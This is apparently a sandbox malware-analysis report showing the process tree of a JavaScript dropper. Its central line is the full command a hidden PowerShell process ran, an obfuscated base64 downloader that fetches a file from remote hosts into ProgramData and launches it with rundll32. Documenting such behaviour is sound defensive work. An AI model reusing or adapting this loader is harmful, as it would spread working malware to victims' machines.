popup
| ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Lrvoys.js

    1072

    • wscript.exe "C:\Windows\System32\wscript.exe" "C:\Users\test22\AppData\Local\Temp\Lrvoys.js" somever Unsuperlative

      2144

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JABiAGEAcgBiAGEAcgBpAG8AdQBzAG4AZQBzAHMASABvAHIAbgBwAGkAcABlAHMAIAA9ACAAIgBhAGcAZwByAGEAYwBlAE0AbwBuAGcAaABvAGwAIgA7ACQAQgBhAGcAcgBvAG8AbQBXAGgAaQBtAHMAaQBjACAAPQAgADgAMAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEAMgA7ACQAUQB1AGkAZABuAHUAbgBjACAAPQAgACIATQBpAGwAbABpAG0AaQBjAHIAbwBuACIAOwAkAGIAcgBhAHQAaQBuAGEAQQBiAHMAaQBuAHQAaABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGsAQQBMAGcAQQB4AEEARABNAEEATgB3AEEAdQBBAEQASQBBAE4AQQBBADQAQQBDADQAQQBNAFEAQQAyAEEARABNAEEATAB3AEIAWQBBAEcANABBAFUAUQBCAGsAQQBEAEkAQQBZAGcAQgBNAEEAQwA4AEEAUgB3AEIAUwBBAEUARQBBAFMAUQBBAHoAQQBIAGMAQQBkAFEAQgByAEEAQQA9AD0AYwBPAD0ATgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGMAQQBMAGcAQQA1AEEARABFAEEATABnAEEANABBAEQAYwBBAEwAZwBBAHgAQQBEAGsAQQBPAEEAQQB2AEEASABFAEEAWgBnAEIAaQBBAEcAWQBBAGQAUQBBAHYAQQBFAGcAQQBNAEEAQgA0AEEARQBZAEEATQBnAEEAPQBjAE8APQBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQARQBBAEwAZwBBAHgAQQBEAGsAQQBNAHcAQQB1AEEARABRAEEATQB3AEEAdQBBAEQAawBBAE8AQQBBAHYAQQBFAEUAQQBSAHcAQgAyAEEARgBvAEEAYQBBAEEANABBAEUATQBBAEwAdwBCAHoAQQBEAEkAQQBhAFEAQgBaAEEASABFAEEAVABRAEEAPQBjAE8APQBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAYwBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQA0AEEARABjAEEATABnAEEAeABBAEQAVQBBAE8AQQBBAHYAQQBIAFUAQQBWAGcAQgAzAEEARwAwAEEATQBBAEIAQgBBAEMAOABBAFoAQQBCAEoAQQBFAGMAQQBVAHcAQgBGAEEARQBRAEEAYwBPAD0ATgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADUAQQBEAEUAQQBMAGcAQQB4AEEARABrAEEATQB3AEEAdQBBAEQAUQBBAE0AdwBBAHUAQQBEAEUAQQBNAEEAQQB4AEEAQwA4AEEAYQBBAEEAMwBBAEQARQBBAEwAdwBCAGoAQQBGAFkAQQBNAFEAQgBKAEEARABrAEEAVwBnAEIANgBBAEcAYwBBAGQAUQBBAD0AIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAZABlAHMAaQBsAGkAYwBvAG4AaQB6AGUAIABpAG4AIAAkAGIAcgBhAHQAaQBuAGEAQQBiAHMAaQBuAHQAaABlAHMAIAAtAHMAcABsAGkAdAAgACIAYwBPAD0ATgAiACkAIAB7ACQAdgBpAHIAZwB1AGwAYQB0AGUAQQBsAGkAYwBhAG4AdAAgAD0AIAAiAHAAbwBrAGUAYgBlAHIAcgBpAGUAcwBIAHkAbgBkAGUAcgAiADsAJABDAHIAYQBuAGUAeQAgAD0AIAAiAHMAZQBtAGkAYwBvAG4AdgBlAHIAZwBlAG4AdABUAGgAaQByAHQAaQBlAHMAIgA7AHQAcgB5ACAAewAkAHUAbgByAGUAYwBrAG8AbgBlAGQATABpAHAAbwBjAGwAYQBzAGkAcwAgAD0AIAAiAFQAbwBsAGwAdABhAGsAZQByACIAOwAkAFIAZQBzAHUAcABpAG4AYQB0AGkAbwBuACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAMABBAEMANABBAE0AZwBBAHcAQQBEAFEAQQBMAGcAQQB5AEEARABBAEEATQBnAEEAdQBBAEQARQBBAE0AdwBBADMAQQBBAD0APQAiADsAJABzAGkAdABvAHQAbwB4AGkAcwBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGQAZQBzAGkAbABpAGMAbwBuAGkAegBlACkAKQA7AHcAZwBlAHQAIAAkAHMAaQB0AG8AdABvAHgAaQBzAG0AIAAtAE8AIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABzAGUAbQBpAHMAbwBsAGUAbQBuAG4AZQBzAHMALgBHAHIAZQBmAGYAbwB0AG8AbQBlAEMAYQBuAGEAbgBnAGkAdQBtADsAJABwAGwAYQBuAG8AZwByAGEAcABoAGkAcwB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABBAEEATABnAEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATgBRAEEAMABBAEEAPQA9AGcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATQBnAEEAdQBBAEQASQBBAE4AQQBBAHgAQQBDADQAQQBNAFEAQQAzAEEARABZAEEATABnAEEAeABBAEQASQBBAE0AUQBBAD0AZwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgBuAEEARwBVAEEAYgBnAEIAbABBAEgASQBBAFkAUQBCAHMAQQBGAFUAQQBiAGcAQgBqAEEARwA4AEEAYgBnAEIAMgBBAEcAVQBBAGIAZwBCAHAAQQBHAFUAQQBiAGcAQgAwAEEAQwA0AEEAWQB3AEIAaABBAEcAWQBBAFoAUQBBAD0AIgA7ACQAZABhAHkAYgBvAG8AawBJAG4AZgBpAG4AaQB0AGEAdABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQgBBAEgAVQBBAGQAQQBCAHYAQQBHAEUAQQBiAGcAQgAwAEEARwBrAEEAWQBnAEIAdgBBAEcAUQBBAGUAUQBBAHUAQQBIAEkAQQBaAFEAQgBwAEEASABNAEEAWgBRAEIAdQBBAEEAPQA9AEYAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBRAEEAeABBAEMANABBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQB4AEEARABrAEEATABnAEEAeABBAEQATQBBAE8AQQBBAD0ARgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAHkAQQBHAFUAQQBkAEEAQgBsAEEASABNAEEAZABBAEIAcABBAEcAMABBAGIAdwBCAHUAQQBHAGsAQQBaAFEAQgB6AEEARgBNAEEAWQBRAEIAcwBBAEgAQQBBAGEAUQBCAHUAQQBHAGMAQQBiAHcAQgB3AEEARwBFAEEAYgBBAEIAaABBAEgAUQBBAGEAUQBCAHUAQQBHAFUAQQBMAGcAQgAzAEEARwBrAEEAYQB3AEIAcABBAEEAPQA9AEYAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAYQBRAEIAegBBAEcARQBBAFoAQQBCADIAQQBHAFUAQQBjAGcAQgAwAEEARwBVAEEAYgBnAEIAagBBAEcAVQBBAFUAdwBCADAAQQBIAGsAQQBiAEEAQgB2AEEARwA0AEEAZQBRAEIAagBBAEcAZwBBAGEAUQBCAGgAQQBDADQAQQBkAGcAQgBqAEEAQQA9AD0AIgA7ACQAcwBlAG0AaQBuAGkAdQBtAEcAZQBvAGQAaQBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFEAQQBhAEEAQgBwAEEARwA4AEEAYgBnAEIAcABBAEcANABBAFoAUQBBAHUAQQBHAE0AQQBiAEEAQgBwAEEARwBNAEEAYQB3AEEAPQB0AFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAMwBBAEMANABBAE0AZwBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABnAEEATQBRAEEAdQBBAEQASQBBAE0AZwBBAHgAQQBBAD0APQB0AFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAMgBBAEMANABBAE0AUQBBADUAQQBEAFkAQQBMAGcAQQB5AEEARABBAEEATQB3AEEAdQBBAEQARQBBAE0AUQBBADMAQQBBAD0APQAiADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAHMAZQBtAGkAcwBvAGwAZQBtAG4AbgBlAHMAcwAuAEcAcgBlAGYAZgBvAHQAbwBtAGUAQwBhAG4AYQBuAGcAaQB1AG0AKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAxADQANwA5ADQANAApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYwB3AEIAbABBAEcAMABBAGEAUQBCAHoAQQBHADgAQQBiAEEAQgBsAEEARwAwAEEAYgBnAEIAdQBBAEcAVQBBAGMAdwBCAHoAQQBDADQAQQBSAHcAQgB5AEEARwBVAEEAWgBnAEIAbQBBAEcAOABBAGQAQQBCAHYAQQBHADAAQQBaAFEAQgBEAEEARwBFAEEAYgBnAEIAaABBAEcANABBAFoAdwBCAHAAQQBIAFUAQQBiAFEAQQBzAEEASABBAEEAYwBnAEIAcABBAEcANABBAGQAQQBBADcAQQBBAD0APQAiADsAJABPAHUAdABwAGwAbwBkAGQAZQBkACAAPQAgACIAdgBpAHQAbwBjAGgAZQBtAGkAYwBhAGwAIgA7ACQAZwByAGEAbgBkAGUAdgBpAHQAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAaQBBAEcAdwBBAGIAdwBCAGoAQQBHAHMAQQBhAFEAQgB1AEEARwBjAEEAVABBAEIAbABBAEgAQQBBAGEAUQBCAGsAQQBHADgAQQBiAEEAQgBwAEEASABRAEEAWgBRAEEAdQBBAEcAawBBAGIAZwBCAHIAQQBBAD0APQBuAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAVQBBAE4AZwBBAHUAQQBEAEkAQQBNAFEAQQB6AEEAQwA0AEEATQBnAEEAeABBAEQAUQBBAEwAZwBBADEAQQBEAE0AQQBuAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAQQBBAGMAZwBCAGwAQQBIAEEAQQBZAFEAQgBzAEEARwBFAEEAWgBRAEIAdgBBAEcAdwBBAGEAUQBCADAAQQBHAGcAQQBhAFEAQgBqAEEAQwA0AEEAYwBBAEIAaABBAEgASQBBAGQAQQBCAHUAQQBHAFUAQQBjAGcAQgB6AEEAQQA9AD0AbgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBiAHcAQgB1AEEARwBNAEEAWgBRAEIAeQBBAEcANABBAFoAUQBCAGsAQQBHADQAQQBaAFEAQgB6AEEASABNAEEATABnAEIAdABBAEcAOABBAGIAUQBBAD0AIgA7AGIAcgBlAGEAawA7AH0AUgBlAGEAYwB0AEQATwBNADsAfQAgAGMAYQB0AGMAaAAgAHsAJABBAGQAaQBnAGUAaQBUAGgAeQBzAGUAbgAgAD0AIAAiAGEAdgBpAGEAbgBpAHoAZQBkAEIAbABhAHMAdABvAGMAaABlAG0AZQAiADsAJABIAHkAcABlAHIAZABpAHYAaQBzAGkAbwBuACAAPQAgACIAcABhAHIAYQBmAGwAbwBjAGMAdQBsAGEAcgAiADsAJABBAGMAZQB0AHkAbABjAHkAYQBuAGkAZABlAFEAdQBpAGQAZABsAGkAbgBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBGAEEASABnAEEAYwBBAEIAcwBBAEcAOABBAGEAUQBCADAAQQBFAE0AQQBiAHcAQgB5AEEASABNAEEAWgBRAEIAcwBBAEcAVQBBAGQAQQBCAGwAQQBHAFEAQQBMAGcAQgBwAEEARwA0AEEAZABBAEIAbABBAEgASQBBAGIAZwBCAGgAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAWQBRAEIAcwBBAEEAPQA9AHYARgBSAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAVQBBAE8AUQBBAHUAQQBEAEUAQQBOAFEAQQAyAEEAQwA0AEEATQBRAEEAMQBBAEQAZwBBAEwAZwBBAHgAQQBEAGMAQQBOAFEAQQA9ACIAOwB9AH0AJAB0AGEAcgBhAHAAbwBuACAAPQAgACIAQQBuAHQAbABlAHIAcwBCAGEAZQBkAGUAawBlAHIAaQBhAG4AIgA7ACQAdABvAGwAegBlAHkAVQBuAHMAdAByAHUAYwB0AHUAcgBhAGwAIAA9ACAANQA2ADIAOwAkAFMAbwBhAHIAaQBuAGcAcwBSAGUAZQBuAHUAbgBjAGkAYQB0AGUAZAAgAD0AIAAiAHYAZQByAHIAdQBjAG8AdQBzACIAOwA="

        2280

Process contents

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID
default registry file network process services synchronisation iexplore office pdf